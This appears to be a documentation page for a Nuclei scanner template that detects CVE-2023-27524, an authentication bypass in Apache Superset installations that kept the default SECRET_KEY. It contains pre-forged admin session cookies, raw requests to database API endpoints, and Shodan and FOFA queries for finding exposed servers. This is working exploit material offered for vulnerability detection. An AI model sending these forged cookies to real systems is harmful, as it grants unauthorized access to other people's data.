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Apache Superset - Authentication Bypass

ID: CVE-2023-27524

Severity: critical

Author: DhiyaneshDK,_0xf4n9x_

Tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev

Description

Section titled “Description”

Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.

YAML Source

Section titled “YAML Source”
id: CVE-2023-27524


info:
  name: Apache Superset - Authentication Bypass
  author: DhiyaneshDK,_0xf4n9x_
  severity: critical
  description: Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Superset.
  reference:
    - https://github.com/horizon3ai/CVE-2023-27524
    - https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
    - http://packetstormsecurity.com/files/172522/Apache-Superset-2.0.0-Authentication-Bypass.html
    - http://www.openwall.com/lists/oss-security/2023/04/24/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27524
    cwe-id: CWE-1188
    epss-score: 0.97095
    epss-percentile: 0.99777
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 45
    vendor: apache
    product: superset
    shodan-query:
      - html:"Apache Superset"
      - http.favicon.hash:1582430156
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev


http:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session}}


    payloads:
      path:
        - '1'
        - '2'
        - '3'
        - '4'
        - '5'
        - '6'
        - '7'
        - '9'
        - '10'


      session:
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U'
    attack: clusterbomb
    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"configuration_method":'
        condition: and


      - type: status
        status:
          - 200
# digest: 490a0046304402207e5241587ef2ae61434d4f246f96d5132fe0113628d197404b5886f2775794980220186e3b4b62721162a7a54001752341f6ca0ed76a9a550c93715cae4b5fac81bb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27524.yaml"

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